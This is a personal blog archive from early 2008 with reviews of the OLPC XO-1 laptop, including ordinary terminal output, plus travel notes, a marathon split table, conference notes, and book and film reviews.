The camera records in AVCHD, which is a highly compressed format that still takes about 1GB per 10 minutes. Things get worse when importing them into iMovie, because iMovie insists to decompress the files, resulting in 1GB per minute, and the decompression is painfully CPU-intensive, running at about real-time. I want to store the movies exclusively in their native AVCHD until I feel like actually editing them, but there seems to be no viewer application for that format (which is weird, as iMovie's import wizard can preview them). At least I can copy them off the camera onto the hard disk to free up the memory card.

Sun, 24 Feb 2008

From X To O: Questions and Answers

Well, I have no topic for Q, so here is my pick of five Frequently Asked Questions from the OLPC site:

Who is behind these XO laptop computers?
The XO laptop computer is being developed by One Laptop per Child, a non-profit organization founded by MIT professor Nicholas Negroponte and a team of educators, developers and technologists dedicated to educating children in developing countries with the goal of eradicating poverty. One Laptop Per Child is based on principles expressed by MIT Media Lab Professor Seymour Papert in the 1960s, and later elaborated upon by Alan Kay, and complemented by the principles articulated by Nicholas Negroponte in his book, Being Digital. Partner corporations including Advanced Micro Devices (AMD), Brightstar, eBay, Google, Marvell, News Corporation, Nortel, Quanta, Chi Mei Group, Red Hat, and SES Astra are involved in this initiative.
Why do children in developing nations need laptop computers?
Nicholas Negroponte (OLPC's Chairman and founder) thinks of the XO laptop not as just a piece of equipment, but as an educational opportunity. Laptop computers can be a window and a tool—a window into the world and a tool with which to think. Computers are a wonderful way for all children to learn through independent interaction and exploration.
How is it possible to get the cost of the laptop so low?
First, by dramatically lowering the cost of the display. The first-generation computer will have a novel, dual-mode display that represents improvements to the LCD displays commonly found in inexpensive DVD players. Second, we have also worked to get the fat out of our software systems. In other words, our laptop computers operate more efficiently. The XO’s operating system is based on a free and open source version of GNU/Linux. Third, One Laptop per Child is a non-profit organization that is not obligated to any investors. Finally, One Laptop per Child uses large scale orders to minimize marketing and distribution costs and to bulk order components to drive prices down.
Does my laptop come with a hand crank? Solar panels?
The Get One XO does not ship with any human powered device or solar panel, which are designed to support the XO laptops shipped to developing countries. Future peripheral availability is discussed on the Product News page. In addition to plugging the laptop into an electrical outlet (110-240 volts AC), the XO laptop can take a DC input ranging from 11 volts to 40 volts, a range that’s far more flexible than most portable devices. The XO laptop is remarkably energy efficient, generally using only 5-10 percent of the average wattage of a standard laptop.
How long does the battery last?
Battery life is approximately 3 to 6 hours, depending on which Activities are used. The sleep feature is not enabled in software provided on XOs shipped starting December 2007. A software upgrade early in 2008 will support suspend/resume sleep features, for much improved battery life.
Sat, 23 Feb 2008

Kyushu Bus Tour

We have just returned from a three-day sightseeing bus tour through Japan's western-most island of Kyushu.

  • The flight to Fukuoka in completely clear skies offered the most spectacular view yet of Mount Fuji.
  • Much to Cissy's dismay, all public toilets were Japanese squatting-style.
  • Scores of Korean tourists.
  • A hotel that spanned two prefectures: The lobby was in Oita, our room in Kumamoto.
  • Onsen, onsen, onsen.
  • The governor of Miyazaki used to be a popular comedian and many local products bear his likeness. The one-man publicity campaign has boosted sales and helped the poultry industry weather the impacts of multiple bird flu outbreaks.
  • Many outgoing and connecting flights were cancelled (not ours, fortunately) because of adverse weather (wind and snow) throughout the country.
Wed, 20 Feb 2008

Neil Gaiman: A Study in Emerald

HarperCollins has released another free MP3 recording of Neil Gaiman reading one of his stories, which he does very, very well. A letter-form story set in Cthulhu-Victorian London (and narrated in wonderful Victorian English), A Study in Emerald follows the protagonist, who shares lodging in Baker Street with the city's foremost consulting detective, as he assists his friend in the case of a murdered German noble.

Sun, 17 Feb 2008

Tokyo Marathon

42.195 km, 05:48:32 (gross time). Ran for 20, walked for 20, limped along for the rest.
Point Split Lap Time
5km 00:50:20   10:00:20
10km 01:23:03 0:32:43 10:33:03
15km 02:00:39 0:37:36 11:10:39
20km 02:33:37 0:32:58 11:43:37
25km 03:10:54 0:37:17 12:20:54
30km 03:52:46 0:41:52 13:02:46
35km 04:38:34 0:45:48 13:48:34
40km 05:28:20 0:49:46 14:38:20
Finish 05:48:32 0:20:12 14:58:32

Now those are the official gross times, counted from the starting signal (starting gunfire). I'd also like to point out that my net time is about 15 minutes less, because my block (the last one) was started about 15 minutes later. That would be about 05:35.

Sat, 16 Feb 2008

Violet Tea Manufacturing

Thu, 14 Feb 2008

The Police

The recently reunited Police are currently stopping by in Tokyo and I went to see their concert at Tokyo Dome tonight. They played all their greatest hits, from Message in a Bottle to Every Breath You Take. Opening act: Fiction Plane, fronted by Sting's son. Now, the problem with huge venues like Tokyo Dome is that you end up sitting (or standing) a hundred metres away from the stage, so that without those big video walls you could not really say what was going on there. In effect, you have 25,000 people watching a music video together, which of course still makes for a nice event.

Trivia tidbit for the day: Tokyo Dome is an air-supported structure, the roof being held up by constantly keeping the inside of the stadium pressurised, which is very noticeable when going in or out.

Wed, 13 Feb 2008

Developers Summit 2008

Nice event, and free to attend, too (thanks to all the Platinum and Gold and Silver and other sponsors).

Joel Spolsky: How to write popular software
He would have surely signed my copy of his book, too, but I misplaced it.
Mr. Kurihara: Aren't we forgetting the data
About the importance of proper data modelling, data storage, access path design, validation and other data-centric topics, and how they are often just an afterthought to application development, which leads to all kinds of nasty problems. I always feel at home with these kind of talks, reminds me of my university days and makes me want to move into the data management space, away from application development with its ill-defined and ever-changing requirements.
Lunch break
The Japanese Squeak user group had an OLPC (not the XO-1, but an almost identical developer pre-release machine with a Spanish keyboard) and we could try out the mesh network functionality, chatting and sharing a text editing session. Great fun.
The latest on rich clients
A panel discussion with representatives from Adobe (Flash/Flex/AIR), Microsoft (.NET/Silverlight) and Curl (Curl).
Jeffrey Fredrick (Agitar Software): Continuous Integration
An introduction to Continuous Integration and how it can benefit the development process by increasing product quality and shortening development cycles.
Next generation web application frameworks
By next generation, he meant frameworks that try to completely hide the stateless nature of HTTP requests with sessions and continuations. JBoss Seam and Wicket were presented as examples. There was also a lively discussion about how robust and complete these new approaches already are.
Mr. Ikehara (Infragistics) Line-of-Business development WPF
An introduction to Vista's new Windows Presentation Foundation and how it can be used to create attractive applications for a company's vital back-office operations, including a rather impressive live coding session showcasing Infragistics WPF components.
Programming Languages of the Past, Present and Future
A discussion between Yukihiro Matsumoto (creator of Ruby) and Daigo Hamura (test leader for C#) about language design, development process, life cycles, backwards compatibility, and other issues the maintainers of programming languages face.
Mon, 11 Feb 2008

Larry Niven: The Ringworld Engineers

Ten years after Ringworld, and after having received many letters with feedback apparently mostly about the mathematical assumptions and implications of the construction of the Ringworld, Larry Niven revisits his best-known creation.

Almost thirty years after their original exploration of the Ringworld, Louis Wu and the Kzin Chmee are abducted by the recently deposed Hindmost and forced to go there again. They find the Ringworld knocked off-centre and about to collide with its sun. Louis embarks on a quest to try and prevent the catastrophe and learn more of Ringworld's secrets and its elusive builders. In the process he gets to know (quite often even in the biblical sense) a few of the various humanoid species that populate this most stunning artifact in known space.

Sun, 10 Feb 2008

From X To O: Reading

The main scenario I had in mind for the XO-1 was as a portable reader, both online and offline, on the road and also in bed (it is so inconvenient to have to get up and walk over to the living room for my daily fill of news websites). Technology issues aside, a laptop in bed is not going to happen, because Cissy does not tolerate that level of laziness and won't hear any of it (even an iPod is pushing it).

Online reading via the built-in browser works famously. Thanks to its Mozilla code base, web sites render as they should, images, JavaScript and even Flash (except for video clips) works, fonts look great (free Japanese fonts, by the way, are available on the Japanese government web-site). There is no email client, but web-mail should work (no problem with GMail). One downside is the inability to open links in a new tab or window, so that you are limited to linear browsing and cannot queue up pages for later access. You can bookmark pages, but not before actually opening them.

Offline reading with the currently available software is tricky. At first I thought I could use the PDF reader and downloaded me a couple of Cory Doctorow novels. As it turns out, PDF is not really a good format for screen readers, because the layout is fixed and cannot be adjusted to display size or orientation. Zooming in to make the characters legible leaves to few of the visible at the same time to read without scrolling around like crazy. The next choice was HTML, which the reader can re-flow and re-page to fit the screen, and while that works well online, I could not figure out how to save a file for offline access from the browser. Manually placing the file on the disk using the command line (wget) does not do much good either, because unless the file is managed by the Journal activity, it does not appear in the user interface at all. It seems the easiest (only?) way to do this is to prepare content for the XO-1 on a USB memory stick or SD card, similar to how iPods work (an SD card is better, because it disappears inside the laptop, whereas USB devices stick out from the side).

The XO-1 can be put into tablet mode by folding the screen over the keyboard. This has the potential for a nice book reading experience. The only keys you can still use in this case are the power button, a cursor pad, four game-pad buttons, and the display orientation switch. That should be plenty to zoom, scroll and page around a book, and maybe even click links on a web site and move a mouse pointer directly. Unfortunately, and this is a real shame, the software does not make use of the buttons in any useful way, so that you need to go back to the inaccessible keyboard for many basic functions. Also, the screen rotation feature is not co-ordinated with the cursor pad, so that pressing Up will sometimes scroll right (or left, or down).

Another problem is the long time it takes for the XO-1 to boot up. It should be possible to put the machine into sleep mode and very quickly resume from there, but apparently this is not implemented, which is surprising considering how much thought went into energy preservation for the hardware. As it is, having to power it down completely makes it inconvenient as a book reader.

Sat, 09 Feb 2008

Cat's House Nekobukuro

Welcome to the small house of the cats!!
NEKOBUKURO is the strange space which twenty cats live in freely !
It is the wonderful space where we see cats and it touches it and it plays together.

The eighth floor of the Ikebukuro Tokyu Hands department store houses a room with two dozen cats in it. Not in cages (only when they are off-duty), but out in the open. Admission is 600 yen per person. Excellent idea for a city where not everyone who wants to have a cat can keep one at home.

Fri, 08 Feb 2008

Johnny can't add, part 8

External USB hard drives were on sale, so I picked up 500 GB from I-O Data and thanks to Time Machine now have a decent backup system in place. An interesting fact about hard disks is that there are two ways to count data volumes. Usually a kilobyte has 1024 bytes, with admittedly is somewhat at odds with the metric system. Hard disk makers call 1000 bytes a kilobyte. That is not much of a difference (2.35%), so you can ignore that as a marketing oddity, but the discrepancy grows dramatically as we get towards terabyte disks. A 1 MB hard disk really only holds 95.3% of a megabyte, a 1 GB disk only 93.1% of a GB, and my new 500 GB disk has only 465 GB.

PS: Caption inspired by Mike Camino Pinkerton's remarks on mathematics, marketing and McDonalds.

DTrace Envy

Probably the most acclaimed technology to come out of Sun Microsystems recently is DTrace, the dynamic tracing framework for Solaris (which Apple also ported for and included in Leopard). DTrace allows to inject so-called probes into the running operating system and applications in order to gather data to tune or troubleshoot them. Probes are written in a simple programming language called D, creating probes requires no changes to the code being probed, and DTrace support has no performance impact unless the probes are actually enabled.

I really want to have something similar for Java, in order to troubleshoot tricky support issues at customer sites. At least a simple version (with only JVM-level and no application-specific instrumentation points) should be possible using the existing JVM tracing and debugging interfaces. I picture something like inserting a little script that fires when a specific method is called with a specific set of arguments and then logs a message or starts a timer or increases a counter. Half a day of searching did unfortunately not turn up an easy-to-use and painless-to-deploy tool, although I am sure there must be something.

As it is, we have to rely on logging, the catch being, of course, that appropriate trace messages need to be in the code in the first place, which more often than not they are not, requiring a patch release with all the costs and delays associated to it. And even if the messages are there, they of course only appear when trace logging is enabled, and even when only enabling tracing for the bare minimum of log categories required, there will usually be a lot of output unrelated to the problem at hand that need to be manually filtered.

Update: I am aware that DTrace is available on the latest JVM for Solaris and Mac OS X, but that will not help me with Java5 on RedHat, which is what we deploy on. I was looking for a Javaland solution that works with older/other JVM/OS.

Mon, 04 Feb 2008

From X to O: Screen

The most expensive and most innovative component of the XO-1 is its display. It is a 7.5 inch TFT with two operating modes: With the backlight turned on it can display approximately 800x600 coloured (6bit: 262k colours) pixels. With the backlight turned off, it becomes monochrome (6bit: 64 shades), but the resolution goes up to 1200x900 and the screen is usable in bright sunlight.

This peculiar behaviour is due to the interesting way the display is constructed: The LCD is a 1200x900 grid of square pixels with 64 levels of opacity. Behind it is a reflector, that sends incoming ambient light back through the LED. So when the backlight is off, all you see is the high-resolution monochrome screen. When the backlight is turned on, it first goes through a fixed colour filter that tints every pixel either red or green or blue. In a completely dark room, all you see are 1200x900 pixels of fixed colour (but 64 shades of opacity), or, if you group three of them together to count them as one coloured pixel, approximately 800x600. In most situations, and depending on your viewing angle, you see a combination of both.

Another interesting feature of the display is that its controller has enough memory to keep the screen alive while turning off the CPU and other parts of the motherboard. This can save power in book reader mode.

Speaking of book reader mode, the display can be pivoted, turned around and folded so that it closes like a lid over the keyboard, turning the XO-1 into a tablet (without the touchscreen). A game pad and cursor keys located next to the display can then be used in lieu of keyboard and trackpad for simple navigation tasks. There is also a very handy button that rotates the contents of the screen in 90 degrees intervals (normal / portrait / upside-down landscape / reverse portrait) to allow you to adjust to how you hold the device.

Sun, 03 Feb 2008

Winter fat?

I am getting closer to the point of having enough data to draw a chart.
June 30 July 29 Sept 02 Sept 30 Oct 28 Dec 02 Dec 23 Feb 03 Ideal
Weight 69.7 70.7 70.6 71.1 72.6 73.3 72.7 72.9 77.1
Muscle 56.7 59.2 58.7 58.9 59.4 59.8 60/2 60.8 62.1
Fat 9.8 8.1 8.6 8.9 9.9 10.2 9.2 8.5 11.6
BMI 20.6 20.9 20.9 21.0 21.4 21.7 21.5 21.5 18.5 to 24.8
Body Fat Pct 14 11.5 12.2 12.5 13.6 14 12.7 11.7 10 to 20
Tipness Score 76 80 80 80 81 81 82 80

Sat, 02 Feb 2008

From X To O: Toy laptop

Child's toy computer is how Martin declared the XO-1 in the customs form when sending it here. It does include a smattering of educational software:

  • TurtleArt is a graphical Logo implementation: You get to paint by programming a little pen-wielding turtle to wander over the screen. The programming is done by dragging instruction blocks (such as move forward, turn, arc, raise the pen, change the pen colour) from the tool box onto the screen. This is great fun, I can see myself not finishing this post on Friday because I cannot stop playing TurtleArt right now.
  • Etoys is a Squeak Smalltalk media-rich authoring environment with a simple, powerful scripted object model for many kinds of objects. I have played with Squeak before, which is a platform is equally interesting and esoteric. The XO-1 version is completely compatible with everything out there in Squeakland.
  • Pippy is an interactive Python interpreter that aims to teach programming in the language most of the higher-level programs on the laptop are written.
  • Measure is for the physics lab and provides an interface to display and record signals produced by external sensors as waveforms, like an oscilloscope. You would need to build those sensors and connect them to the audio input port, so that I could not really test this activity.
  • TamTam is a suite of music composition programs. TamTam Mini is a simple activity where you can select an instrument and use the keyboard to play notes. TamTam Edit is a five-track editor that can be used to arrange and record whole songs. Young Man's GarageBand. TamTam Jam seems to be somewhere in between Mini and Edit. TamTam SynthLab is an advanced synthesiser application that I think is used to create new instruments for TamTam Edit.

In addition to using these activities in creative ways, the child is also encouraged to modify the software itself. A good part of it is being written in Python and other dynamic languages, and thus lends itself to live hacking. There is even supposed to be a View Source button to reveal the underlying codebase of the running activity and allow changes to it, but that seems to be not implemented yet. As programming skills grow, one could even tackle the base system itself, all of which is Open Source (Linux and OpenFirmware), although that kind of development can probably not be done on the XO itself.

As for games, there is Memorize, the game of matching pairs, with an editor to create your own set of tiles, others are available for download, and Electronic Arts has donated SimCity.

Thu, 31 Jan 2008

From X To O: Unix Underpinnings

[olpc@xo-11-19-06 ~]$ uname -a

Linux xo-11-19-06.localdomain 2.6.22-20071121.7.olpc.af3dd731d18bc39 #1
PREEMPT Wed Nov 21 00:39:06 EST 2007 i586 i586 i386 GNU/Linux
[olpc@xo-11-19-06 ~]$ df -k

Filesystem           1K-blocks      Used Available Use% Mounted on
mtd0                   1048576    359044    689532  35% /
tmpfs                    35676         0     35676   0% /dev/shm
[olpc@xo-11-19-06 ~]$ cat /proc/cpuinfo

processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 5
model		: 10
model name	: Geode(TM) Integrated Processor by AMD PCS
stepping	: 2
cpu MHz		: 430.952
cache size	: 128 KB
fdiv_bug	: no
hlt_bug		: no
f00f_bug	: no
coma_bug	: no
fpu		: yes
fpu_exception	: yes
cpuid level	: 1
wp		: yes
flags		: fpu de pse tsc msr cx8 sep pge cmov clflush mmx mmxext
3dnowext 3dnow
bogomips	: 862.97
clflush size	: 32
 
[olpc@xo-11-19-06 ~]$ ps auxw

USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND

root        1  0.7  1.7   4952  4144 ?        Ss   17:36   0:04 oatc    
          /init
root        2  0.0  0.0      0     0 ?        S<   17:36   0:00
[kthreadd]
root        3  0.0  0.0      0     0 ?        SN   17:36   0:00
[ksoftirqd/0]
root        4  0.0  0.0      0     0 ?        S<   17:36   0:00
[watchdog/0]
root        5  0.1  0.0      0     0 ?        S<   17:36   0:00
[events/0]
root        6  0.0  0.0      0     0 ?        S<   17:36   0:00
[khelper]
root       47  0.0  0.0      0     0 ?        S<   17:36   0:00
[kblockd/0]
root       48  0.0  0.0      0     0 ?        S<   17:36   0:00
[ksuspend_usbd]
root       51  0.0  0.0      0     0 ?        S<   17:36   0:00
[khubd]
root       53  0.0  0.0      0     0 ?        S<   17:36   0:00
[kseriod]
root      115  0.0  0.0      0     0 ?        S    17:36   0:00
[pdflush]
root      116  0.0  0.0      0     0 ?        S    17:36   0:00
[pdflush]
root      117  0.0  0.0      0     0 ?        S<   17:36   0:00
[kswapd0]
root      118  0.0  0.0      0     0 ?        S<   17:36   0:00
[aio/0]
root      517  0.0  0.0      0     0 ?        S<   17:36   0:00
[kpsmoused]
root      560  0.0  0.0      0     0 ?        S<   17:36   0:00
[kmmcd]
root      617  0.0  0.0      0     0 ?        Z    17:36   0:00 [init]
<defunct>
root      667  5.2  0.0      0     0 ?        SN   17:36   0:35
[jffs2_gcd_mtd0]
root      670  0.0  0.2   2140   664 ?        Ss   17:36   0:00 init [5]
root      757  0.0  0.2   2260   592 ?        S<s  17:36   0:00
/sbin/udevd -d
root      886  0.0  0.0      0     0 ?        S<   17:36   0:00
[libertas_main]
root      887  0.0  0.0      0     0 ?        S<   17:36   0:00
[libertas_worker]
root     1263  0.0  0.2   1804   596 ?        Ss   17:37   0:00 syslogd
-m 0
root     1266  0.0  0.1   1744   404 ?        Ss   17:37   0:00 klogd -x
dbus     1289  0.1  0.4   2956  1008 ?        Rs   17:37   0:01
dbus-daemon --system
root     1311  0.0  2.8  13660  6704 ?        Ss   17:37   0:00
/usr/bin/python /usr/sbin/rainbow-daemon --daemon
root     1326  0.0  0.3   5392   940 ?        Ss   17:37   0:00
/usr/sbin/sshd
root     1338  0.0  0.9   7568  2196 ?        Ssl  17:37   0:00
console-kit-daemon
root     1378  0.0  0.4   3296  1104 ?        Ss   17:37   0:00 crond
root     1423  0.0  0.2   1736   616 ?        SNs  17:37   0:00 anacron
-s
root     1435  0.1  0.9  28740  2152 ?        Ssl  17:37   0:00
NetworkManager --pid-file=/var/run/NetworkManager/NetworkManager.pid
68       1462  0.2  1.1   4552  2640 ?        Ss   17:37   0:01 hald
root     1463  0.0  0.4   3084   972 ?        S    17:37   0:00
hald-runner
root     1486  0.0  0.4   3176  1080 ?        S    17:37   0:00
hald-addon-input: Listening on /dev/input/event0 /dev/input/event1 /
root     1491  0.0  1.4   7092  3372 ?        S    17:37   0:00
/usr/bin/python /usr/bin/olpc-hardware-manager
avahi    1519  0.0  0.5   2656  1420 ?        Ss   17:37   0:00
avahi-daemon: running [xo-11-19-06.local]
avahi    1522  0.0  0.1   2656   432 ?        Ss   17:37   0:00
avahi-daemon: chroot helper
root     1540  0.0  0.1   1728   464 ?        Ss   17:37   0:00
/sbin/mingetty --noclear tty1
root     1543  0.0  0.1   1724   456 tty2     Ss+  17:37   0:00
/sbin/mingetty tty2
root     1544  0.0  0.2   1736   504 ttyS0    Ss+  17:37   0:00
/sbin/agetty ttyS0 115200 vt100
root     1545  0.0  0.5   2880  1200 ?        Ss   17:37   0:00
/usr/sbin/olpc-dm
olpc     1557  0.0  0.4   2552  1064 tty1     Ss+  17:37   0:00 /bin/sh
/usr/bin/startx /usr/bin/olpc-session -- -fp built-ins -wr
olpc     1574  0.0  0.3   3076   928 tty1     S+   17:37   0:00 xinit
/usr/bin/olpc-session -- /usr/bin/X -fp built-ins -wr -auth /h
root     1575  5.2  8.5  26072 20400 tty3     Ss+  17:37   0:34
/usr/bin/X :0 -fp built-ins -wr -auth /home/olpc/.serverauth.1557
olpc     1585  7.5 12.9  58040 30920 ?        Ss   17:37   0:49 python
/usr/bin/sugar-shell
olpc     1593  0.1  0.5   3480  1408 ?        Ss   17:37   0:01
/bin/dbus-daemon --fork --print-pid 4 --print-address 6 --session
olpc     1594  0.0  0.2   2840   616 ?        S    17:37   0:00
dbus-launch --exit-with-session sugar-shell
olpc     1605  0.1  2.1  11100  5004 ?        S    17:37   0:00
matchbox-window-manager -use_titlebar no -theme sugar -kbdconfig /us
olpc     1607  0.6  4.5  17152 10740 ?        S    17:37   0:04 python
/usr/bin/sugar-presence-service
olpc     1609  0.0  1.1   8068  2808 ?        S    17:37   0:00
/usr/libexec/telepathy-salut
olpc     1611  0.3  3.7  15320  8884 ?        S    17:37   0:01 python
/usr/bin/sugar-shell-service
olpc     1613  2.1  5.8  32012 13872 ?        Sl   17:37   0:13 python
/usr/bin/datastore-service
olpc     1623  0.0  0.1   3780   472 ?        S    17:37   0:00 /bin/cat
olpc     1625  4.7 10.1  42892 24136 ?        S    17:37   0:29 python
/usr/bin/sugar-activity journalactivity.JournalActivity -b or
olpc     1660  1.3 10.5  55076 25140 ?        Sl   17:38   0:07 python
/usr/bin/sugar-activity terminal.TerminalActivity -s -b org.l
olpc     1670  0.0  0.2   2420   628 ?        S    17:39   0:00
gnome-pty-helper
olpc     1671  0.0  0.6   4688  1536 pts/0    Ss   17:39   0:00
/bin/bash
499      1699  0.0  0.2   1820   704 ?        S    17:39   0:00
avahi-autoipd: [msh0] bound 169.254.2.85
root     1700  0.0  0.1   1772   352 ?        Ss   17:39   0:00
avahi-autoipd: [msh0] callout dispatcher
olpc     1786  0.0  0.2   3788   608 pts/0    S+   17:46   0:00 script
olpc     1787  0.0  0.1   3792   400 pts/0    S+   17:46   0:00 script
olpc     1788  0.1  0.6   4688  1540 pts/1    Ss   17:46   0:00 bash -i
olpc     1802  7.0  0.3   4512   944 pts/1    R+   17:48   0:00 ps auxw
Wed, 30 Jan 2008

From X To O: Video

The first thing to try with any web-enabled device is to check if it can play back Youtube. Well, the XO-1 cannot, which I guess is because of the GNU Flash player (Adobe's official one cannot be included as it does not meet the open source criterion) lacking the codec that is being used. Even if it was there, I wonder if the CPU would be up to the task.

Not being able to watch Youtube is of course a decidedly First World Problem, and not really relevant to OLPC (or maybe it is, it seems the Internet is rapidly becoming an important alley for authentic individual voices that the traditional media outlets would just ignore). Anyway, there is a built-in camera and a Record activity (applications are called activities) that can be used to capture video clips of up to sixty seconds. Unfortunately, I could not make that work, either. I could record a clip and play it back again in Record, but after closing the activity could find no way to view it again. The video does appear in the Journal, but when trying to open it, the browser launches, shows a download dialog and then a blank page. Again, the software is not quite there yet.

It does not make matters easier that the XO-1 tries to get rid off the concept of a traditional file system: Rather than the user explicitly saving and loading files, the Journal is supposed to automatically keep track of everything you do (including older revisions of documents you change, but I am not sure if that is already implemented). Until that works reliably, it would be nice to know where the files actually are.

Update: The same problem hit me after writing this article -- first blog post from the machine itself! After finally finding the file I typed in the Write activity (based on AbiWord) as /home/olpc/.sugar/default/datastore/store/78dc0364-be9c-4886-8329-ee62063f28fb I decided to drop out of Sugar and into vi to finish it (praised be the person who agreed to keep the underlying standard Linux tools around and readily accessible).

Tue, 29 Jan 2008

From X To O: Wireless networking

The OLPC project aims to enable children to study and create in a collaborative environment that makes it natural to share documents and work on them together. To facilitate this, the XO-1 has built-in networking capabilities, most importantly an IEEE 802.1 chipset for wireless communications. Notable features here are the low energy consumption (paid for with a relatively low speed of 2 Mbits) and the ability to form a self-organised mesh network in the absence of an access point. The chipset is autonomous enough to allow the XO-1 to act as a repeater in the mesh even when the laptop CPU is powered down.

Since OLPC laptops are intended for deployment in areas where there will likely be no traditional telecom infrastructure, there are is no ethernet adaptor or modem (I wonder if there was similar reasoning behind the MacBook Air). Other means of getting data in and out are the USB ports and the SD card reader. And then there is the Acoustic Tape Measure program, that can be used to measure the distance between two laptops by measuring the time it takes for them to shout at each-other.

Whereas the hardware does not fail to impress, some areas of the XO-1 software in its current form feel unfinished and flakey. Being software, of course, it should be relatively easy to resolve these issues over time. One instance that caused me quite a bit of frustration at first was getting the WiFi to work. Although I would very much prefer a wired connection (faster, less radiation) I do have an access point that I occasionally switch on for the Wii, but the XO-1 would not connect to it. Turns out that the version of the OS that it came with has critical bugs here, but there was a new version (poetically named build 653) available for download. The process required some computer literacy, another computer with a working Internet connection and an SD card (or USB stick), but now it works.

Mon, 28 Jan 2008

From X To O: XO-1

The XO-1 is the first version of the One Laptop Per Child. It comes in compact (242x228x32 mm) and rugged green package, with an innovative screen (7.5 inch), a membrane keyboard (sized for children), a touchpad with adjacent stylus areas (reserved for future use), three USB ports, an internal SD card reader, a built-in microphone, speakers and video camera.

The computer is powered by a 433 MHz AMD CPU that runs at only 800 mW, the display uses between 100 and 1000 mW, so that the overall power consumption is less than 3 W. It does not come with a hand-crank, but a selection of hand- or foot-operated power units is optionally available.

Networking is an important part of the educational concept behind the project and the XO-1 sports a Wi-Fi chipset that allows connections using 802.11 with an access point or by forming an ad-hoc mesh network with other XO-1. The latter allows sharing a single Internet connection for a the whole classroom.

All software on the XO-1 is free and open source. The operating system is based on Fedora Linux and a Python-powered GUI called Sugar. A central component is the Journal, which keeps a chronological logs of all activities, such as changed files or accessed applications, and allows to resume those activities (open the file or application again). The bundled software is mostly educational programs to encourage creative exploration into the realms of music and programming, but there is also a general purpose (Mozilla-based) browser, a word processor, and an RSS reader. I could not find a scheduling application, or even a calendar, though, clearly it is not aimed at business people.

Sat, 26 Jan 2008

Sweeney Todd: The Demon Barber of Fleet Street

Movie poster

I suppose Tim Burton has Johnny Depp and his Corpse Bride Helena Bonham Carter on speed-dial, so that when he feels like making another dark fantasy movie he can quickly get over with casting the main characters. Composer Danny Elfman must have been the next one to call, except that in the case of a Broadway musical adaptation all the music has already been written. Depp landed a Best Actor Oscar Nomination for the part, and is thus excused to make a couple more silly pirate movies if it so pleases him. Alan Rickman and Sacha Baron Cohen complete the big name roster, and newcomers Jamie Campbell Bower and Ed Sanders also impress.

Rated R for a reason: Everyone sings, almost everyone dies. Rivers of blood. Cannibalism.

8 points

Multivitamin: Grapefruit

It is a drink of the jelly type with which a necessary nutrient is anywhere easily ingestible when there are neither a busy morning nor an appetite.

The taste is atrocious, too.

Thu, 24 Jan 2008

One Laptop Per Man-Child

My XO laptop is finally almost here. After having travelled to New York and California (Give One, Get One would not ship to outside the USA and Canada, so I had to ask Martin in New York to be the middle-man), the postman came by to drop it off yesterday (but no one was at home), and will come again on the weekend. Stay tuned for a review then, for now read what Martin had to report and watch what David Pogue has to say.

Here is the "x", the "ooooh" happens when you see it ...
preinstalled: GUI apps, vi, gzip, python, ssh, scp
    not installed: emacs, perl, gcc, latex
          memory: 1GB disk, 237MB RAM
                camera built-in
                    light
               long battery life
         processor: AMD Geode, 420MHz
  http://wiki.laptop.org/go/WPA_Manual_Setting
fun geek toy, sturdy linux laptop, altruistic deed
Fri, 18 Jan 2008

Neil Gaiman: How To Talk To Girls At Parties

From the Hugo-Award-nominated-short-story-department. Both audio (read by the author) and text versions are available for free download from Gaiman's web site.

Mon, 14 Jan 2008

Dan Simmons: Olympos

Hockenberry and the Trojan Women have tricked Achilles and Hector into an uneasy alliance, and at least for the moment all the Greeks, Trojans and their moravec allies follow them in their war against the Olympian gods. But both camps are far from united: Menelaus is still trying to kill his stolen wife Helen, and seize control of the Greek armies back from Achilles. The only thing that keeps the gods from banding up against each other is the ultimate authority of Zeus, who himself must be careful not to offend the Titans of Tartarus.

Back on Earth, things are going badly: The few remaining old-style humans are being slaughtered left and right by antisemitic robots, by Caliban, and by Caliban's god Setebos. They have to hope that help will arrive from Odysseus (either the old one that lives among them, or the young one that has just been kidnapped away from Mars), or from combat moravecs, or from any surviving post-humans, or from Prospero and Ariel. Or from the Quiet.

The book makes for an exciting (if confusing) read, but in the end, most of the plot lines are not resolved in a satisfactory way. There is no epic showdown, just a couple of last-minute super-sudden ex-machina turns of events, and some major threads are just dropped completely. Maybe Simmons is planning on a third volume (or a second dilogy) to wrap things up.

Sun, 13 Jan 2008

I am Legend

Movie poster

After an artificial virus that was supposed to cure cancer has wiped out 95% of humankind and turned most of the rest into vampires, military medical researcher Will Smith is the only man left in New York, where he and his dog try to stay alive long enough to find an antidote.

Overall nicely done dark science fiction film, but what keeps it from being on par with, say, Children of Men are the creature effects. The vampires look so obviously computer-generated that they do not fit into the otherwise uncomfortably realistic setting. Makes for good action sequences (and makes me want to take another shot at the Wii Resident Evil 4 baddies), but not really scary.

7 points

Sat, 12 Jan 2008

Me wearing other people's glasses

Part eleven: Zhang Jiwang, whose desk is opposite mine, and who came back from China with new glasses, becomes the first one to be featured here twice. Also, one of the first pictures taken with the new phone.

Wed, 09 Jan 2008

Ubuntu: A pleased costumer's report

Once every year or so I install a recent Linux distribution and am every time impressed about by progress it has made as a desktop OS.

I have a dual-boot machine at work with Windows XP and Debian, the first of which I have not touched for months, but it still got corrupted (could not even start up anymore), so that I re-installed Windows from scratch (CD-ROM, scratch-free actually) yesterday. Unfortunately, Windows does not really work out-of-the-box on the machine, it apparently requires some OEM patches from Dell (without extra drivers or something the video card would not go beyond 640x480 which is totally useless). So I gave up again on Windows for the moment and tried to restart Debian to not fall completely behind schedule, but of course, the Windows installer had clobbered the boot menu. I suppose I should be grateful that the partitions are still there.

So I popped in an Ubuntu Live CD that I found in my desk drawer, with the honest intent to just restore the boot menu to be able to get back to my Debian environment. What immediately struck me is how pretty Ubuntu is, and how it justed booted and worked without me configuring anything. Said graphics card posed no problems, for one thing, and all my partitions were nicely mounted and just a click away in the very nice-looking file manager. I remember that this used to be the other way around: Whereas Windows just worked, getting Linux and especially X11 up an running required real work. I fiddled with the command line to recover my GRUB settings from the Debian file system and put it back onto the boot record, but this somehow failed, and I could not really be bothered to research how these tools work, so I just decided to go ahead and also install Ubuntu.

The next pleasant surprise was the Ubuntu installer. It is completely graphical, it can shrink existing NTFS partitions to make space for its own use, it finds existing OS installations and migrates wallpapers, bookmarks, address books, music libraries and such from Windows and Debian accounts. The resulting boot menu included Ubuntu, Windows, and all the options for the old Debian.

